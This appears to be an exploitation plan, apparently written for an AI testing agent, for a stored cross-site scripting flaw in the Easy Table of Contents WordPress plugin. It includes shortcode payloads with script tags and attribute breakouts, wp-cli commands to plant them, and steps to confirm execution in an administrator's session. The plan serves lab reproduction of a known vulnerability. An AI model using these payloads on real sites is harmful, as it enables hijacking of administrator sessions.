Exploitation Research Plan: CVE-2025-13738 (Easy Table of Contents)

1. Vulnerability Summary

The Easy Table of Contents plugin (<= 2.0.78) is vulnerable to Stored Cross-Site Scripting (XSS) via the ez-toc shortcode. The vulnerability exists because the shortcode handler processes user-supplied attributes and reflects them into the page HTML without sufficient sanitization or context-aware output escaping. Authenticated users with Contributor permissions or higher can exploit this by embedding a malicious shortcode in a post or page, which executes JavaScript in the context of any user (including administrators) viewing that content.

2. Attack Vector Analysis

• Entry Point: WordPress Shortcode [ez-toc].
• Vulnerable Component: The shortcode callback function (likely ezTOC::shortcode or similar).
• Vulnerable Parameters: Shortcode attributes such as title, label, or header_label (inferred).
• Authentication Level: Contributor (PR:L). Contributors can create and edit their own posts but cannot typically publish them or use unfiltered_html. However, shortcodes are a standard feature available to them.
• Preconditions: The plugin must be active. A post containing the malicious shortcode must be viewed by a victim.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode in the main plugin file or an initialization class:
   add_shortcode( 'ez-toc', [ 'ezTOC', 'shortcode' ] );
2. Shortcode Call: A Contributor saves a post containing: [ez-toc title='<script>alert(1)</script>'].
3. Processing: When the post is rendered, WordPress calls the registered callback:
   public static function shortcode( $atts ) { ... }
4. Attribute Merging: The callback uses shortcode_atts() to merge user input with defaults:
   $atts = shortcode_atts( array( 'title' => 'Table of Contents', ... ), $atts );
5. Vulnerable Sink: The attribute $atts['title'] is concatenated into an HTML string and returned without being passed through esc_html() or esc_attr().
   return '<div class="ez-toc-title-container">' . $atts['title'] . '</div>'; // VULNERABLE

4. Nonce Acquisition Strategy

Shortcodes are processed by WordPress core during page rendering (do_shortcode). No nonce is required to trigger the execution of a shortcode when viewing a page.

However, to create the post as a Contributor via the web interface (to simulate a real attack), a nonce for the post editor (wp-admin/post-new.php) or the REST API would be needed.

• Strategy: Use the browser_navigate and browser_eval tools to log in as a Contributor and extract the REST nonce or the _wpnonce from the post editor page.
• Alternative: Since the goal is to demonstrate the XSS via shortcode processing, the agent can use wp-cli to create the post with the malicious shortcode, then use http_request to view the page as an administrator.

5. Exploitation Strategy

1. Preparation: Log in as a Contributor user.
2. Payload Selection:
   • Standard: [ez-toc title='<script>alert(document.domain)</script>']
   • Attribute Breakout (if reflected in an attribute): [ez-toc title='"><script>alert(1)</script>']
3. Post Creation:
   • Create a new post/page with the malicious shortcode in the post_content.
4. Execution/Verification:
   • Navigate to the newly created post's URL using http_request or browser_navigate.
   • Check if the script tags appear in the raw HTML response or execute in the browser.

6. Test Data Setup

• Plugin: Install easy-table-of-contents version 2.0.78.
• User: Create a user with the contributor role.
• Target Content:

  wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content="[ez-toc title='<script>alert(\"XSS_SUCCESS\")</script>']" --post_author=2
  

  (Note: While contributors usually can't publish, we can set status to publish via CLI to simplify the demonstration, or leave as 'pending' and view as Admin).

7. Expected Results

• When the page is requested, the HTML output should contain the literal, unescaped string: <script>alert("XSS_SUCCESS")</script>.
• In a browser context, an alert box with "XSS_SUCCESS" should appear.

8. Verification Steps

1. CLI Check:

   wp post get <POST_ID> --field=post_content
   

2. HTTP Check:
   • Use http_request to fetch the permalink of the post.
   • Search the response body for the exact string: <script>alert("XSS_SUCCESS")</script>.
3. Admin Context Verification:
   • Navigate to the post as an Administrator to confirm the XSS executes in a high-privilege session.

9. Alternative Approaches

If the title attribute is sanitized, try other potential attributes used in the TOC rendering:

• label
• header_label
• container_class (Requires breakout: [ez-toc container_class='"><script>alert(1)</script>'])

If the shortcode requires specific headings to be present to trigger rendering, ensure the post content includes at least one <h2> tag:

[ez-toc title='<script>alert(1)</script>']
## Heading 1
Content here.

If the shortcode is only processed in certain contexts (e.g., only on 'page' post types), change the post_type during setup.